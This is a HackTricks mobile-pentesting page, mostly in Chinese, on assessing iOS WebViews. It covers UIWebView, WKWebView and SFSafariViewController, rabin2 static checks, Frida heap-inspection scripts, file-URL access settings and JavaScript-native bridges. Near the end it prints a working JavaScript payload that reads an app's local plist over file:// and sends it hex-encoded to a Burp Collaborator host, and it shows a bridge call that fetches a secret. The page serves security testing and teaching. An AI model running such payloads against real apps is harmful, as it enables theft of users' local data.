iOS WebViews

支持 HackTricks

此页面的代码提取自 这里。查看该页面以获取更多详细信息。

WebViews 类型

WebViews 在应用程序中用于交互式显示网页内容。各种类型的 WebViews 为 iOS 应用程序提供不同的功能和安全特性。以下是简要概述:

  • UIWebView,由于缺乏禁用 JavaScript 的支持,从 iOS 12 开始不再推荐使用,这使其容易受到脚本注入和 跨站脚本攻击 (XSS) 的影响。

  • WKWebView 是将网页内容集成到应用程序中的首选选项,提供对内容和安全特性的增强控制。JavaScript 默认启用,但在必要时可以禁用。它还支持防止 JavaScript 自动打开窗口的功能,并确保所有内容安全加载。此外,WKWebView 的架构最小化了内存损坏影响主应用程序进程的风险。

  • SFSafariViewController 在应用程序中提供标准化的网页浏览体验,其特定布局包括只读地址栏、分享和导航按钮,以及直接链接以在 Safari 中打开内容。与 WKWebView 不同,SFSafariViewController 中无法禁用 JavaScript,它还与 Safari 共享 cookies 和数据,维护用户的隐私。根据 App Store 指南,必须显著显示它。

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews 配置探索总结

静态分析概述

在检查 WebViews 配置的过程中,主要关注两种类型:UIWebViewWKWebView。为了在二进制文件中识别这些 WebViews,使用命令搜索特定的类引用和初始化方法。

  • UIWebView 识别

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

此命令通过在二进制文件中搜索与UIWebView相关的文本字符串来帮助定位UIWebView的实例。

  • WKWebView 识别

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

同样,对于 WKWebView,此命令在二进制文件中搜索指示其使用的文本字符串。

此外,为了查找 WKWebView 是如何初始化的,执行以下命令,针对与其初始化相关的方法签名:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript 配置验证

对于 WKWebView,强调禁用 JavaScript 是最佳实践,除非有必要。搜索编译后的二进制文件以确认 javaScriptEnabled 属性设置为 false,确保 JavaScript 被禁用:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

仅安全内容验证

WKWebView 提供了识别混合内容问题的能力,与 UIWebView 相比。这是通过使用 hasOnlySecureContent 属性来检查,以确保所有页面资源通过安全连接加载。对编译后的二进制文件的搜索如下:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

动态分析洞察

动态分析涉及检查堆中的 WebView 实例及其属性。为此,使用名为 webviews_inspector.js 的脚本,目标是 UIWebViewWKWebViewSFSafariViewController 实例。它记录有关找到的实例的信息,包括 URL 以及与 JavaScript 和安全内容相关的设置。

可以使用 ObjC.choose() 进行堆检查,以识别 WebView 实例并检查 javaScriptEnabledhasonlysecurecontent 属性。

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

脚本的执行方式为:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

关键结果

  • 成功定位和检查了 WebViews 实例。

  • 验证了 JavaScript 启用和安全内容设置。

此摘要概括了通过静态和动态方法分析 WebView 配置的关键步骤和命令,重点关注 JavaScript 启用和混合内容检测等安全特性。

WebView 协议处理

在 WebViews 中处理内容是一个关键方面,特别是在处理各种协议时,如 http(s)://file://tel://。这些协议使得在应用程序中加载远程和本地内容成为可能。强调在加载本地内容时,必须采取预防措施,以防止用户影响文件的名称或路径以及编辑内容本身。

WebViews 提供了不同的内容加载方法。对于 UIWebView,现在已被弃用,使用 loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL: 等方法。另一方面,WKWebView 使用 loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL:loadRequest: 来加载网页内容。通常使用 pathForResource:ofType:URLForResource:withExtension:init(contentsOf:encoding:) 方法来加载本地文件。loadFileURL:allowingReadAccessToURL: 方法特别值得注意,因为它能够将特定的 URL 或目录加载到 WebView 中,如果指定了目录,可能会暴露敏感数据。

要在源代码或编译的二进制文件中找到这些方法,可以使用以下命令:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

关于文件访问,UIWebView允许它的普遍访问,而WKWebView引入了allowFileAccessFromFileURLsallowUniversalAccessFromFileURLs设置来管理来自文件URL的访问,默认情况下这两个设置都是false。

提供了一个Frida脚本示例来检查WKWebView的安全设置配置:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

最后,一个旨在提取本地文件的JavaScript有效负载示例展示了与配置不当的WebViews相关的潜在安全风险。该有效负载在将文件内容传输到服务器之前,将其编码为十六进制格式,突显了在WebView实现中严格安全措施的重要性。

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Understanding WebView Native Interfaces in iOS

从 iOS 7 开始,Apple 提供了用于 在 WebView 中的 JavaScript 与本地 Swift 或 Objective-C 对象之间进行通信的 API。这种集成主要通过两种方法实现:

  • JSContext:当 Swift 或 Objective-C 块与 JSContext 中的标识符链接时,会自动创建一个 JavaScript 函数。这允许 JavaScript 和本地代码之间无缝集成和通信。

  • JSExport Protocol:通过继承 JSExport 协议,可以将本地属性、实例方法和类方法暴露给 JavaScript。这意味着在 JavaScript 环境中所做的任何更改都会在本地环境中反映出来,反之亦然。然而,必须确保通过这种方法不会意外暴露敏感数据。

Accessing JSContext in Objective-C

在 Objective-C 中,可以使用以下代码行检索 UIWebViewJSContext

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication with WKWebView

对于 WKWebView,无法直接访问 JSContext。相反,通过 postMessage 函数利用消息传递,实现 JavaScript 与原生的通信。这些消息的处理程序设置如下,使 JavaScript 能够安全地与原生应用程序进行交互:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaction and Testing

JavaScript可以通过定义脚本消息处理程序与本地层进行交互。这允许从网页调用本地函数等操作:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

要捕获和操纵原生函数调用的结果,可以在HTML中覆盖回调函数:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

本地端处理JavaScript调用,如JavaScriptBridgeMessageHandler类所示,其中对诸如数字相乘等操作的结果进行处理,并发送回JavaScript以供显示或进一步操作:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

调试 iOS WebViews

(基于 https://blog.vuplex.com/debugging-webviews 的教程)

要有效调试 iOS webviews 中的网页内容,需要特定的设置,涉及 Safari 的开发者工具,因为发送到 console.log() 的消息不会显示在 Xcode 日志中。以下是简化的指南,强调关键步骤和要求:

  • 在 iOS 设备上的准备:需要在您的 iOS 设备上激活 Safari Web Inspector。通过进入 设置 > Safari > 高级,并启用 Web Inspector 来完成此操作。

  • 在 macOS 设备上的准备:在您的 macOS 开发机器上,必须在 Safari 中启用开发者工具。启动 Safari,访问 Safari > 偏好设置 > 高级,并选择 显示开发菜单 的选项。

  • 连接和调试:将您的 iOS 设备连接到 macOS 计算机并启动您的应用程序后,使用 macOS 设备上的 Safari 选择您要调试的 webview。在 Safari 菜单栏中导航到 开发,将鼠标悬停在您的 iOS 设备名称上以查看 webview 实例列表,并选择您希望检查的实例。为此目的将打开一个新的 Safari Web Inspector 窗口。

但是,请注意以下限制:

  • 使用此方法进行调试需要一台 macOS 设备,因为它依赖于 Safari。

  • 只有通过 Xcode 加载到您的设备上的应用程序中的 webviews 才有资格进行调试。通过 App Store 或 Apple Configurator 安装的应用程序中的 webviews 不能以这种方式进行调试。

参考文献

支持 HackTricks

Last updated